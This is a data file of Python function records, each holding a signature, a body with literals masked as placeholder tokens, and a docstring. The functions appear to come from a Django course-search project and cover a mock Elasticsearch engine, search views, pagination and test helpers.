{"signature": "@staticmethod<EOL><INDENT>def index(searcher, course_info):<DEDENT>", "body": "searcher.index(doc_type=\"<STR_LIT>\", sources=course_info)<EOL>", "docstring": "Adds course info dictionary to the index", "id": "f9806:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def get_and_index(cls, searcher, update_dict=None, remove_fields=None):<DEDENT>", "body": "cls.index(searcher, [cls.get(update_dict, remove_fields)])<EOL>", "docstring": "Adds course info dictionary to the index", "id": "f9806:c0:m3"}
{"signature": "@property<EOL><INDENT>def _is_elastic(self):<DEDENT>", "body": "return isinstance(self.searcher, ElasticSearchEngine)<EOL>", "docstring": "check search engine implementation, to manage cleanup differently", "id": "f9806:c1:m0"}
{"signature": "def _reset_mocked_tracker(self):", "body": "self.mock_tracker.reset_mock()<EOL>", "docstring": "reset mocked tracker and clear logged emits", "id": "f9807:c0:m0"}
{"signature": "def assert_no_events_were_emitted(self):", "body": "self.assertFalse(self.mock_tracker.emit.called)<EOL>", "docstring": "Ensures no events were emitted since the last event related assertion", "id": "f9807:c0:m3"}
{"signature": "def assert_search_initiated_event(self, search_term, size, page):", "body": "initiated_search_call = self.mock_tracker.emit.mock_calls[<NUM_LIT:0>]  <EOL>expected_result = call('<STR_LIT>', {<EOL>\"<STR_LIT>\": six.text_type(search_term),<EOL>\"<STR_LIT>\": size,<EOL>\"<STR_LIT>\": page,<EOL>})<EOL>self.assertEqual(expected_result, initiated_search_call)<EOL>", "docstring": "Ensures an search initiated event was emitted", "id": "f9807:c0:m4"}
{"signature": "def assert_results_returned_event(self, search_term, size, page, total):", "body": "returned_results_call = self.mock_tracker.emit.mock_calls[<NUM_LIT:1>]  <EOL>expected_result = call('<STR_LIT>', {<EOL>\"<STR_LIT>\": six.text_type(search_term),<EOL>\"<STR_LIT>\": size,<EOL>\"<STR_LIT>\": page,<EOL>\"<STR_LIT>\": total,<EOL>})<EOL>self.assertEqual(expected_result, returned_results_call)<EOL>", "docstring": "Ensures an results returned event was emitted", "id": "f9807:c0:m5"}
{"signature": "def assert_initiated_return_events(self, search_term, size, page, total):", "body": "self.assertEqual(self.mock_tracker.emit.call_count, <NUM_LIT:2>)  <EOL>self.assert_search_initiated_event(search_term, size, page)<EOL>self.assert_results_returned_event(search_term, size, page, total)<EOL>", "docstring": "Asserts search initiated and results returned events were emitted", "id": "f9807:c0:m6"}
{"signature": "@property<EOL><INDENT>def additional_property(self):<DEDENT>", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "additional property that should appear within processed results", "id": "f9810:c1:m0"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "if \"<STR_LIT>\" not in self._results_fields or \"<STR_LIT:id>\" not in self._results_fields:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return u\"<STR_LIT>\".format(<EOL>course_id=self._results_fields[\"<STR_LIT>\"],<EOL>location=self._results_fields[\"<STR_LIT:id>\"],<EOL>)<EOL>", "docstring": "Property to display the url for the given location, useful for allowing navigation", "id": "f9810:c1:m1"}
{"signature": "def should_remove(self, user):", "body": "return \"<STR_LIT>\" in self._results_fields<EOL>", "docstring": "remove items when url is None", "id": "f9810:c1:m2"}
{"signature": "def post_request(body, course_id=None):", "body": "address = '<STR_LIT:/>' if course_id is None else '<STR_LIT>'.format(course_id)<EOL>response = Client().post(address, body)<EOL>return getattr(response, \"<STR_LIT>\", <NUM_LIT>), json.loads(getattr(response, \"<STR_LIT:content>\", None))<EOL>", "docstring": "Helper method to post the request and process the response", "id": "f9813:m0"}
{"signature": "def post_discovery_request(body):", "body": "address = '<STR_LIT>'<EOL>response = Client().post(address, body)<EOL>return getattr(response, \"<STR_LIT>\", <NUM_LIT>), json.loads(getattr(response, \"<STR_LIT:content>\", None))<EOL>", "docstring": "Helper method to post the request and process the response", "id": "f9813:m1"}
{"signature": "@property<EOL><INDENT>def searcher(self):<DEDENT>", "body": "if self._searcher is None:<EOL><INDENT>self._searcher = SearchEngine.get_search_engine(TEST_INDEX_NAME)<EOL><DEDENT>return self._searcher<EOL>", "docstring": "cached instance of search engine", "id": "f9813:c0:m0"}
{"signature": "def search(self, **kwargs):  ", "body": "raise exceptions.ElasticsearchException(\"<STR_LIT>\")<EOL>", "docstring": "this will definitely fail", "id": "f9813:c4:m0"}
{"signature": "def json_date_to_datetime(json_date_string_value):", "body": "if \"<STR_LIT:T>\" in json_date_string_value:<EOL><INDENT>if \"<STR_LIT:.>\" in json_date_string_value:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>if json_date_string_value.endswith(\"<STR_LIT>\"):<EOL><INDENT>format_string += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>return datetime.strptime(<EOL>json_date_string_value,<EOL>format_string<EOL>)<EOL>", "docstring": "converts json date string to date object", "id": "f9814:m0"}
{"signature": "def _find_field(doc, field_name):", "body": "if not isinstance(doc, dict):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not isinstance(field_name, six.string_types):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>immediate_field, remaining_path = field_name.split('<STR_LIT:.>', <NUM_LIT:1>) if '<STR_LIT:.>' in field_name else (field_name, None)<EOL>field_value = doc.get(immediate_field)<EOL>if isinstance(field_value, dict):<EOL><INDENT>return _find_field(field_value, remaining_path)<EOL><DEDENT>return field_value<EOL>", "docstring": "find the dictionary field corresponding to the . limited name", "id": "f9814:m1"}
{"signature": "def _filter_intersection(documents_to_search, dictionary_object, include_blanks=False):", "body": "if not dictionary_object:<EOL><INDENT>return documents_to_search<EOL><DEDENT>def value_matches(doc, field_name, field_value):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>compare_value = _find_field(doc, field_name)<EOL>if compare_value is None:<EOL><INDENT>return include_blanks<EOL><DEDENT>if isinstance(field_value, (DateRange, datetime)):<EOL><INDENT>if isinstance(compare_value, six.string_types):<EOL><INDENT>compare_value = json_date_to_datetime(compare_value)<EOL><DEDENT>field_has_tz_info = False<EOL>if isinstance(field_value, DateRange):<EOL><INDENT>field_has_tz_info = (<EOL>(field_value.lower and field_value.lower.tzinfo is not None) or<EOL>(field_value.upper and field_value.upper.tzinfo is not None)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>field_has_tz_info = field_value.tzinfo is not None<EOL><DEDENT>if not field_has_tz_info:<EOL><INDENT>compare_value = compare_value.replace(tzinfo=None)<EOL><DEDENT>elif compare_value.tzinfo is None:<EOL><INDENT>compare_value = compare_value.replace(tzinfo=pytz.UTC)<EOL><DEDENT><DEDENT>if isinstance(field_value, ValueRange):<EOL><INDENT>return (<EOL>(field_value.lower is None or compare_value >= field_value.lower) and<EOL>(field_value.upper is None or compare_value <= field_value.upper)<EOL>)<EOL><DEDENT>elif _is_iterable(compare_value) and not _is_iterable(field_value):<EOL><INDENT>return any((item == field_value for item in compare_value))<EOL><DEDENT>elif _is_iterable(field_value) and not _is_iterable(compare_value):<EOL><INDENT>return any((item == compare_value for item in field_value))<EOL><DEDENT>elif _is_iterable(compare_value) and _is_iterable(field_value):<EOL><INDENT>return any((six.text_type(item) in field_value for item in compare_value))<EOL><DEDENT>return compare_value == field_value<EOL><DEDENT>filtered_documents = documents_to_search<EOL>for field_name, field_value in dictionary_object.items():<EOL><INDENT>filtered_documents = [d for d in filtered_documents if value_matches(d, field_name, field_value)]<EOL><DEDENT>return filtered_documents<EOL>", "docstring": "Filters out documents that do not match all of the field values within the dictionary_object\nIf include_blanks is True, then the document is considered a match if the field is not present", "id": "f9814:m2"}
{"signature": "def _process_query_string(documents_to_search, query_string):", "body": "def _encode_string(string):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if six.PY2:<EOL><INDENT>string = string.encode('<STR_LIT:utf-8>').translate(None, RESERVED_CHARACTERS)<EOL><DEDENT>else:<EOL><INDENT>string = string.translate(string.maketrans('<STR_LIT>', '<STR_LIT>', RESERVED_CHARACTERS))<EOL><DEDENT>return string<EOL><DEDENT>def has_string(dictionary_object, search_string):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>for name in dictionary_object:<EOL><INDENT>if isinstance(dictionary_object[name], dict):<EOL><INDENT>return has_string(dictionary_object[name], search_string)<EOL><DEDENT>elif dictionary_object[name]:<EOL><INDENT>if search_string.lower() in _encode_string(dictionary_object[name].lower()):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>return False<EOL><DEDENT>search_strings = _encode_string(query_string).split(\"<STR_LIT:U+0020>\")<EOL>documents_to_keep = []<EOL>for search_string in search_strings:<EOL><INDENT>documents_to_keep.extend(<EOL>[d for d in documents_to_search if \"<STR_LIT:content>\" in d and has_string(d[\"<STR_LIT:content>\"], search_string)]<EOL>)<EOL><DEDENT>return documents_to_keep<EOL>", "docstring": "keep the documents that contain at least one of the search strings provided", "id": "f9814:m3"}
{"signature": "def _process_exclude_dictionary(documents_to_search, exclude_dictionary):", "body": "for exclude_property in exclude_dictionary:<EOL><INDENT>exclude_values = exclude_dictionary[exclude_property]<EOL>if not isinstance(exclude_values, list):<EOL><INDENT>exclude_values = [exclude_values]<EOL><DEDENT>documents_to_search = [<EOL>document<EOL>for document in documents_to_search<EOL>if document.get(exclude_property) not in exclude_values<EOL>]<EOL><DEDENT>return documents_to_search<EOL>", "docstring": "remove results that have fields that match in the exclude_dictionary", "id": "f9814:m4"}
{"signature": "def _count_facet_values(documents, facet_terms):", "body": "facets = {}<EOL>def process_facet(facet):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>faceted_documents = [facet_document for facet_document in documents if facet in facet_document]<EOL>terms = {}<EOL>def add_facet_value(facet_value):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if isinstance(facet_value, list):<EOL><INDENT>for individual_value in facet_value:<EOL><INDENT>add_facet_value(individual_value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if facet_value not in terms:<EOL><INDENT>terms[facet_value] = <NUM_LIT:0><EOL><DEDENT>terms[facet_value] += <NUM_LIT:1><EOL><DEDENT><DEDENT>for document in faceted_documents:<EOL><INDENT>add_facet_value(document[facet])<EOL><DEDENT>total = sum([terms[term] for term in terms])<EOL>return total, terms<EOL><DEDENT>for facet in facet_terms:<EOL><INDENT>total, terms = process_facet(facet)<EOL>facets[facet] = {<EOL>\"<STR_LIT>\": total,<EOL>\"<STR_LIT>\": terms,<EOL>}<EOL><DEDENT>return facets<EOL>", "docstring": "Calculate the counts for the facets provided:\n\nFor each facet, count up the number of hits for each facet value, so\nthat we can report back the breakdown of how many of each value there\nexist. Notice that the total is the total number of facet matches that\nwe receive - a single document will get counted multiple times in the\ntotal if the facet field is multi-valued:\n\n    e.g. a course may have a value for modes as [\"honor\", \"validated\"], and\n    so the document will count as 1 towards the honor count, 1 towards the\n    validated count, and 2 towards the total. (This may be a little\n    surprising but matches the behaviour that elasticsearch presents)", "id": "f9814:m5"}
{"signature": "@classmethod<EOL><INDENT>def _backing_file(cls, create_if_missing=False):<DEDENT>", "body": "backing_file_name = getattr(settings, \"<STR_LIT>\", None)<EOL>if cls._file_name_override:<EOL><INDENT>backing_file_name = cls._file_name_override<EOL><DEDENT>if not backing_file_name:<EOL><INDENT>cls._disabled = False<EOL>return None<EOL><DEDENT>if create_if_missing or os.path.exists(backing_file_name):<EOL><INDENT>cls._disabled = False<EOL>return backing_file_name<EOL><DEDENT>cls._disabled = True<EOL>return None<EOL>", "docstring": "return path to test file to use for backing purposes", "id": "f9814:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def _write_to_file(cls, create_if_missing=False):<DEDENT>", "body": "file_name = cls._backing_file(create_if_missing)<EOL>if file_name:<EOL><INDENT>with open(file_name, \"<STR_LIT>\") as dict_file:<EOL><INDENT>json.dump(cls._mock_elastic, dict_file, cls=DjangoJSONEncoder)<EOL><DEDENT><DEDENT>", "docstring": "write the index dict to the backing file", "id": "f9814:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def _load_from_file(cls):<DEDENT>", "body": "file_name = cls._backing_file()<EOL>if file_name and os.path.exists(file_name):<EOL><INDENT>with open(file_name, \"<STR_LIT:r>\") as dict_file:<EOL><INDENT>cls._mock_elastic = json.load(dict_file)<EOL><DEDENT><DEDENT>", "docstring": "load the index dict from the contents of the backing file", "id": "f9814:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _paginate_results(size, from_, raw_results):<DEDENT>", "body": "results = raw_results<EOL>if size:<EOL><INDENT>start = <NUM_LIT:0><EOL>if from_ is not None:<EOL><INDENT>start = from_<EOL><DEDENT>results = raw_results[start:start + size]<EOL><DEDENT>return results<EOL>", "docstring": "Give the correct page of results", "id": "f9814:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def load_index(cls, index_name):<DEDENT>", "body": "cls._load_from_file()<EOL>if index_name not in cls._mock_elastic:<EOL><INDENT>cls._mock_elastic[index_name] = {}<EOL>cls._write_to_file()<EOL><DEDENT>return cls._mock_elastic[index_name]<EOL>", "docstring": "load the index, if necessary from the backed file", "id": "f9814:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def load_doc_type(cls, index_name, doc_type):<DEDENT>", "body": "index = cls.load_index(index_name)<EOL>if doc_type not in index:<EOL><INDENT>index[doc_type] = []<EOL>cls._write_to_file()<EOL><DEDENT>return index[doc_type]<EOL>", "docstring": "load the documents of type doc_type, if necessary loading from the backed file", "id": "f9814:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def add_documents(cls, index_name, doc_type, sources):<DEDENT>", "body": "cls.load_doc_type(index_name, doc_type).extend(sources)<EOL>cls._write_to_file()<EOL>", "docstring": "add documents of specific type to index", "id": "f9814:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>def remove_documents(cls, index_name, doc_type, doc_ids):<DEDENT>", "body": "index = cls.load_index(index_name)<EOL>if doc_type not in index:<EOL><INDENT>return<EOL><DEDENT>index[doc_type] = [d for d in index[doc_type] if \"<STR_LIT:id>\" not in d or d[\"<STR_LIT:id>\"] not in doc_ids]<EOL>cls._write_to_file()<EOL>", "docstring": "remove documents by id of specific type to index", "id": "f9814:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>def destroy(cls):<DEDENT>", "body": "cls._mock_elastic = {}<EOL>cls._write_to_file()<EOL>", "docstring": "Clean out the dictionary for test resets", "id": "f9814:c0:m10"}
{"signature": "def index(self, doc_type, sources):  ", "body": "if not MockSearchEngine._disabled:<EOL><INDENT>doc_ids = [s[\"<STR_LIT:id>\"] for s in sources if \"<STR_LIT:id>\" in s]<EOL>MockSearchEngine.remove_documents(self.index_name, doc_type, doc_ids)<EOL>MockSearchEngine.add_documents(self.index_name, doc_type, sources)<EOL><DEDENT>", "docstring": "Add/update documents of given type to the index", "id": "f9814:c0:m12"}
{"signature": "def remove(self, doc_type, doc_ids):  ", "body": "if not MockSearchEngine._disabled:<EOL><INDENT>MockSearchEngine.remove_documents(self.index_name, doc_type, doc_ids)<EOL><DEDENT>", "docstring": "Remove documents of type with given ids from the index", "id": "f9814:c0:m13"}
{"signature": "def search(self,<EOL>query_string=None,<EOL>field_dictionary=None,<EOL>filter_dictionary=None,<EOL>exclude_dictionary=None,<EOL>facet_terms=None,<EOL>**kwargs):  ", "body": "if MockSearchEngine._disabled:<EOL><INDENT>return {<EOL>\"<STR_LIT>\": <NUM_LIT:10>,<EOL>\"<STR_LIT>\": <NUM_LIT:0>,<EOL>\"<STR_LIT>\": <NUM_LIT:0>,<EOL>\"<STR_LIT>\": []<EOL>}<EOL><DEDENT>documents_to_search = []<EOL>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>documents_to_search = MockSearchEngine.load_doc_type(self.index_name, kwargs[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>index = MockSearchEngine.load_index(self.index_name)<EOL>for doc_type in index:<EOL><INDENT>documents_to_search.extend(index[doc_type])<EOL><DEDENT><DEDENT>if field_dictionary:<EOL><INDENT>documents_to_search = _filter_intersection(documents_to_search, field_dictionary)<EOL><DEDENT>if filter_dictionary:<EOL><INDENT>documents_to_search = _filter_intersection(documents_to_search, filter_dictionary, True)<EOL><DEDENT>if query_string:<EOL><INDENT>documents_to_search = _process_query_string(documents_to_search, query_string)<EOL><DEDENT>if \"<STR_LIT>\" in kwargs:<EOL><INDENT>if not exclude_dictionary:<EOL><INDENT>exclude_dictionary = {}<EOL><DEDENT>if \"<STR_LIT:id>\" not in exclude_dictionary:<EOL><INDENT>exclude_dictionary[\"<STR_LIT:id>\"] = []<EOL><DEDENT>exclude_dictionary[\"<STR_LIT:id>\"].extend(kwargs[\"<STR_LIT>\"])<EOL><DEDENT>if exclude_dictionary:<EOL><INDENT>documents_to_search = _process_exclude_dictionary(documents_to_search, exclude_dictionary)<EOL><DEDENT>def score_documents(documents_to_search):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>search_results = []<EOL>max_score = <NUM_LIT:0><EOL>while documents_to_search:<EOL><INDENT>current_doc = documents_to_search[<NUM_LIT:0>]<EOL>score = len([d for d in documents_to_search if d == current_doc])<EOL>if score > max_score:<EOL><INDENT>max_score = score<EOL><DEDENT>documents_to_search = [d for d in documents_to_search if d != current_doc]<EOL>data = copy.copy(current_doc)<EOL>search_results.append(<EOL>{<EOL>\"<STR_LIT>\": score,<EOL>\"<STR_LIT:data>\": data,<EOL>}<EOL>)<EOL><DEDENT>return search_results, max_score<EOL><DEDENT>search_results, max_score = score_documents(documents_to_search)<EOL>results = MockSearchEngine._paginate_results(<EOL>kwargs[\"<STR_LIT:size>\"] if \"<STR_LIT:size>\" in kwargs else None,<EOL>kwargs[\"<STR_LIT>\"] if \"<STR_LIT>\" in kwargs else None,<EOL>sorted(search_results, key=lambda k: k[\"<STR_LIT>\"])<EOL>)<EOL>response = {<EOL>\"<STR_LIT>\": <NUM_LIT:10>,<EOL>\"<STR_LIT>\": len(search_results),<EOL>\"<STR_LIT>\": max_score,<EOL>\"<STR_LIT>\": results<EOL>}<EOL>if facet_terms:<EOL><INDENT>response[\"<STR_LIT>\"] = _count_facet_values(documents_to_search, facet_terms)<EOL><DEDENT>return response<EOL>", "docstring": "Perform search upon documents within index", "id": "f9814:c0:m14"}
{"signature": "@property<EOL><INDENT>def _is_elastic(self):<DEDENT>", "body": "return isinstance(self.searcher, ElasticSearchEngine)<EOL>", "docstring": "check search engine implementation, to manage cleanup differently", "id": "f9815:c0:m0"}
{"signature": "def _index_for_facets(self):", "body": "self.searcher.index(\"<STR_LIT>\", [{\"<STR_LIT:id>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}])<EOL>self.searcher.index(\"<STR_LIT>\", [{\"<STR_LIT:id>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}])<EOL>self.searcher.index(\"<STR_LIT>\", [{\"<STR_LIT:id>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}])<EOL>self.searcher.index(\"<STR_LIT>\", [{\"<STR_LIT:id>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}])<EOL>self.searcher.index(\"<STR_LIT>\", [{\"<STR_LIT:id>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}])<EOL>self.searcher.index(\"<STR_LIT>\", [{\"<STR_LIT:id>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}])<EOL>self.searcher.index(\"<STR_LIT>\", [{\"<STR_LIT:id>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}])<EOL>", "docstring": "Prepare index for facet tests", "id": "f9815:c0:m28"}
{"signature": "def initialize(self, **kwargs):", "body": "pass<EOL>", "docstring": "empty base implementation", "id": "f9816:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def set_search_enviroment(cls, **kwargs):<DEDENT>", "body": "initializer = _load_class(getattr(settings, \"<STR_LIT>\", None), cls)()<EOL>return initializer.initialize(**kwargs)<EOL>", "docstring": "Called from within search handler\nFinds desired subclass and calls initialize method", "id": "f9816:c0:m1"}
{"signature": "def _process_pagination_values(request):", "body": "size = <NUM_LIT:20><EOL>page = <NUM_LIT:0><EOL>from_ = <NUM_LIT:0><EOL>if \"<STR_LIT>\" in request.POST:<EOL><INDENT>size = int(request.POST[\"<STR_LIT>\"])<EOL>max_page_size = getattr(settings, \"<STR_LIT>\", <NUM_LIT:100>)<EOL>if not (<NUM_LIT:0> < size <= max_page_size):  <EOL><INDENT>raise ValueError(_('<STR_LIT>').format(page_size=size))<EOL><DEDENT>if \"<STR_LIT>\" in request.POST:<EOL><INDENT>page = int(request.POST[\"<STR_LIT>\"])<EOL>from_ = page * size<EOL><DEDENT><DEDENT>return size, from_, page<EOL>", "docstring": "process pagination requests from request parameter", "id": "f9817:m0"}
{"signature": "def _process_field_values(request):", "body": "return {<EOL>field_key: request.POST[field_key]<EOL>for field_key in request.POST<EOL>if field_key in course_discovery_filter_fields()<EOL>}<EOL>", "docstring": "Create separate dictionary of supported filter values provided", "id": "f9817:m1"}
{"signature": "@require_POST<EOL>def do_search(request, course_id=None):", "body": "<EOL>SearchInitializer.set_search_enviroment(request=request, course_id=course_id)<EOL>results = {<EOL>\"<STR_LIT:error>\": _(\"<STR_LIT>\")<EOL>}<EOL>status_code = <NUM_LIT><EOL>search_term = request.POST.get(\"<STR_LIT>\", None)<EOL>try:<EOL><INDENT>if not search_term:<EOL><INDENT>raise ValueError(_('<STR_LIT>'))<EOL><DEDENT>size, from_, page = _process_pagination_values(request)<EOL>track.emit(<EOL>'<STR_LIT>',<EOL>{<EOL>\"<STR_LIT>\": search_term,<EOL>\"<STR_LIT>\": size,<EOL>\"<STR_LIT>\": page,<EOL>}<EOL>)<EOL>results = perform_search(<EOL>search_term,<EOL>user=request.user,<EOL>size=size,<EOL>from_=from_,<EOL>course_id=course_id<EOL>)<EOL>status_code = <NUM_LIT:200><EOL>track.emit(<EOL>'<STR_LIT>',<EOL>{<EOL>\"<STR_LIT>\": search_term,<EOL>\"<STR_LIT>\": size,<EOL>\"<STR_LIT>\": page,<EOL>\"<STR_LIT>\": results[\"<STR_LIT>\"],<EOL>}<EOL>)<EOL><DEDENT>except ValueError as invalid_err:<EOL><INDENT>results = {<EOL>\"<STR_LIT:error>\": six.text_type(invalid_err)<EOL>}<EOL>log.debug(six.text_type(invalid_err))<EOL><DEDENT>except QueryParseError:<EOL><INDENT>results = {<EOL>\"<STR_LIT:error>\": _('<STR_LIT>')<EOL>}<EOL><DEDENT>except Exception as err:  <EOL><INDENT>results = {<EOL>\"<STR_LIT:error>\": _('<STR_LIT>').format(search_string=search_term)<EOL>}<EOL>log.exception(<EOL>'<STR_LIT>',<EOL>search_term,<EOL>request.user.id,<EOL>err<EOL>)<EOL><DEDENT>return JsonResponse(results, status=status_code)<EOL>", "docstring": "Search view for http requests\n\nArgs:\n    request (required) - django request object\n    course_id (optional) - course_id within which to restrict search\n\nReturns:\n    http json response with the following fields\n        \"took\" - how many seconds the operation took\n        \"total\" - how many results were found\n        \"max_score\" - maximum score from these results\n        \"results\" - json array of result documents\n\n        or\n\n        \"error\" - displayable information about an error that occured on the server\n\nPOST Params:\n    \"search_string\" (required) - text upon which to search\n    \"page_size\" (optional)- how many results to return per page (defaults to 20, with maximum cutoff at 100)\n    \"page_index\" (optional) - for which page (zero-indexed) to include results (defaults to 0)", "id": "f9817:m2"}
{"signature": "@require_POST<EOL>def course_discovery(request):", "body": "results = {<EOL>\"<STR_LIT:error>\": _(\"<STR_LIT>\")<EOL>}<EOL>status_code = <NUM_LIT><EOL>search_term = request.POST.get(\"<STR_LIT>\", None)<EOL>try:<EOL><INDENT>size, from_, page = _process_pagination_values(request)<EOL>field_dictionary = _process_field_values(request)<EOL>track.emit(<EOL>'<STR_LIT>',<EOL>{<EOL>\"<STR_LIT>\": search_term,<EOL>\"<STR_LIT>\": size,<EOL>\"<STR_LIT>\": page,<EOL>}<EOL>)<EOL>results = course_discovery_search(<EOL>search_term=search_term,<EOL>size=size,<EOL>from_=from_,<EOL>field_dictionary=field_dictionary,<EOL>)<EOL>track.emit(<EOL>'<STR_LIT>',<EOL>{<EOL>\"<STR_LIT>\": search_term,<EOL>\"<STR_LIT>\": size,<EOL>\"<STR_LIT>\": page,<EOL>\"<STR_LIT>\": results[\"<STR_LIT>\"],<EOL>}<EOL>)<EOL>status_code = <NUM_LIT:200><EOL><DEDENT>except ValueError as invalid_err:<EOL><INDENT>results = {<EOL>\"<STR_LIT:error>\": six.text_type(invalid_err)<EOL>}<EOL>log.debug(six.text_type(invalid_err))<EOL><DEDENT>except QueryParseError:<EOL><INDENT>results = {<EOL>\"<STR_LIT:error>\": _('<STR_LIT>')<EOL>}<EOL><DEDENT>except Exception as err:  <EOL><INDENT>results = {<EOL>\"<STR_LIT:error>\": _('<STR_LIT>').format(search_string=search_term)<EOL>}<EOL>log.exception(<EOL>'<STR_LIT>',<EOL>search_term,<EOL>request.user.id,<EOL>err<EOL>)<EOL><DEDENT>return JsonResponse(results, status=status_code)<EOL>", "docstring": "Search for courses\n\nArgs:\n    request (required) - django request object\n\nReturns:\n    http json response with the following fields\n        \"took\" - how many seconds the operation took\n        \"total\" - how many results were found\n        \"max_score\" - maximum score from these resutls\n        \"results\" - json array of result documents\n\n        or\n\n        \"error\" - displayable information about an error that occured on the server\n\nPOST Params:\n    \"search_string\" (optional) - text with which to search for courses\n    \"page_size\" (optional)- how many results to return per page (defaults to 20, with maximum cutoff at 100)\n    \"page_index\" (optional) - for which page (zero-indexed) to include results (defaults to 0)", "id": "f9817:m3"}
{"signature": "def filter_dictionary(self, **kwargs):", "body": "return {\"<STR_LIT>\": DateRange(None, datetime.utcnow())}<EOL>", "docstring": "base implementation which filters via start_date", "id": "f9818:c0:m0"}
{"signature": "def field_dictionary(self, **kwargs):", "body": "field_dictionary = {}<EOL>if \"<STR_LIT>\" in kwargs and kwargs[\"<STR_LIT>\"]:<EOL><INDENT>field_dictionary[\"<STR_LIT>\"] = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>return field_dictionary<EOL>", "docstring": "base implementation which add course if provided", "id": "f9818:c0:m1"}
{"signature": "def exclude_dictionary(self, **kwargs):", "body": "return {}<EOL>", "docstring": "base implementation which excludes nothing", "id": "f9818:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def generate_field_filters(cls, **kwargs):<DEDENT>", "body": "generator = _load_class(getattr(settings, \"<STR_LIT>\", None), cls)()<EOL>return (<EOL>generator.field_dictionary(**kwargs),<EOL>generator.filter_dictionary(**kwargs),<EOL>generator.exclude_dictionary(**kwargs),<EOL>)<EOL>", "docstring": "Called from within search handler\nFinds desired subclass and adds filter information based upon user information", "id": "f9818:c0:m3"}
{"signature": "def _translate_hits(es_response):", "body": "def translate_result(result):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>translated_result = copy.copy(result)<EOL>data = translated_result.pop(\"<STR_LIT>\")<EOL>translated_result.update({<EOL>\"<STR_LIT:data>\": data,<EOL>\"<STR_LIT>\": translated_result[\"<STR_LIT>\"]<EOL>})<EOL>return translated_result<EOL><DEDENT>def translate_facet(result):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>terms = {term[\"<STR_LIT>\"]: term[\"<STR_LIT:count>\"] for term in result[\"<STR_LIT>\"]}<EOL>return {<EOL>\"<STR_LIT>\": terms,<EOL>\"<STR_LIT>\": result[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": result[\"<STR_LIT>\"],<EOL>}<EOL><DEDENT>results = [translate_result(hit) for hit in es_response[\"<STR_LIT>\"][\"<STR_LIT>\"]]<EOL>response = {<EOL>\"<STR_LIT>\": es_response[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": es_response[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": es_response[\"<STR_LIT>\"][\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": results,<EOL>}<EOL>if \"<STR_LIT>\" in es_response:<EOL><INDENT>response[\"<STR_LIT>\"] = {facet: translate_facet(es_response[\"<STR_LIT>\"][facet]) for facet in es_response[\"<STR_LIT>\"]}<EOL><DEDENT>return response<EOL>", "docstring": "Provide resultset in our desired format from elasticsearch results", "id": "f9819:m0"}
{"signature": "def _get_filter_field(field_name, field_value):", "body": "filter_field = None<EOL>if isinstance(field_value, ValueRange):<EOL><INDENT>range_values = {}<EOL>if field_value.lower:<EOL><INDENT>range_values.update({\"<STR_LIT>\": field_value.lower_string})<EOL><DEDENT>if field_value.upper:<EOL><INDENT>range_values.update({\"<STR_LIT>\": field_value.upper_string})<EOL><DEDENT>filter_field = {<EOL>\"<STR_LIT>\": {<EOL>field_name: range_values<EOL>}<EOL>}<EOL><DEDENT>elif _is_iterable(field_value):<EOL><INDENT>filter_field = {<EOL>\"<STR_LIT>\": {<EOL>field_name: field_value<EOL>}<EOL>}<EOL><DEDENT>else:<EOL><INDENT>filter_field = {<EOL>\"<STR_LIT>\": {<EOL>field_name: field_value<EOL>}<EOL>}<EOL><DEDENT>return filter_field<EOL>", "docstring": "Return field to apply into filter, if an array then use a range, otherwise look for a term match", "id": "f9819:m1"}
